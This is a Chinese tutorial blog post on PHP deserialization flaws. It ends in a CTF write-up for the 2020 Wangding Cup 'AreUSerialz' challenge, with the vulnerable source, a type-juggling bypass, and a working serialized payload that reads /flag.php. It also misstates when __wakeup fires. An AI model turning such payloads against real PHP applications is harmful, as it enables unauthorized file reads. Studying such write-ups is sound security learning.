Web安全之PHP反序列化漏洞

mrob0t發表於2021-05-18

漏洞原理:

序列化可以將物件變成可以傳輸的字串,方便資料儲存傳輸,反序列化就是將字串還原成物件。如果web應用沒有對使用者輸入的反序列化字串進行檢測,導致反序列化過程可以被控制,就會造成程式碼執行,getshell等一系列不可控的後果。

serialize()         //將一個物件轉換成一個字串
unserialize()       //將字串還原成一個物件
#觸發條件:unserialize函式的變數可控,檔案中存在可利用的類,類中有魔術方法.
​
__wakeup()      //物件被序列化之後立即執行
__construct     //建構函式,在例項化類的時候會自動呼叫#在建立物件時觸發
__destruct()    //解構函式,通常用來完成一些在物件銷燬前的清理任務#在一個物件被銷燬時呼叫
​
__toString()    //需要一個物件被當做一個字串時呼叫
__call()        //在物件上下文中呼叫不可訪問的方法時觸發
__callStatic()  //在靜態上下文中呼叫不可訪問的方法時觸發
__get()         //用於從不可訪問的屬性讀取資料
__set()         //用於將資料寫入不可訪問的屬性
__isset()       //在不可訪問的屬性上呼叫isset()或empty()時觸發
__unset()       //在不可訪問的屬性上使用unset()時觸發
__invoke()      //當嘗試以呼叫函式的方式呼叫一個物件時觸發
 

 

 

漏洞利用思路:

物件中的各個屬性值是我們可控的,因此一種PHP反序列化漏洞利用方法叫做“面向屬性程式設計”(Property Oriented Programming).與二進位制漏洞中常用的ROP技術類似,在ROP中我們往往需要一段初始化gadgets來開始我們的整個利用過程,然後繼續呼叫其他gadgets.在PHP的POP中,對應的初始化gadgets就是wakeup()或者是destruct(),在最理想的情況下能夠實現漏洞利用的點就在這兩個函式中,但往往我們需要從這個函式開始,逐步的跟進在這個函式中呼叫到的所有函式,直至找到可以利用的點為止。
一些需要特別關注,跟進的函式:
RCE:

exec(),passthru(),popen(),system()

File Access:

file_put_contents(),file_get_contents(),unlink()

真題 2020網鼎杯-青龍組-AreUSerialz

題目給了原始碼:

<?php
​
include("flag.php");
​
highlight_file(__FILE__);
​
class FileHandler {
​
    protected $op;
    protected $filename;
    protected $content;
​
    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }
​
    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }
​
    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }
​
    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }
​
    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }
​
    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }
​
}
​
function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}
​
if(isset($_GET{'str'})) {
​
    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }
​
}
​

跟蹤destruct()發現存在對op這個變數存在全等於驗證,當op為字串2值時op被強行賦值為字串1

,導致後面直接進入寫操作,故用$op=2繞過

另外呼叫了process(),關聯read()和write()兩個函式,一個讀,一個寫

想要拿到flag需要通過read()讀到/flag.php

$op=2繞過第一層判斷進入讀操作

  if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        }
 

然後就是GET方法傳參str,發現存在一個is_valid()驗證函式,過濾了提交的引數中資料ASCII碼<32且>125的字元

根據資訊生成例項:

<?php
 class FileHandler{
    public $op = 2;
    public $filename="/flag.php";
    public $content;
}
    $a = new FileHandler();
    $b = serialize($a);
    echo($b);
    ?>

執行生成payload:

?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:9:"/flag.php";s:7:"content";N;}

 

相關文章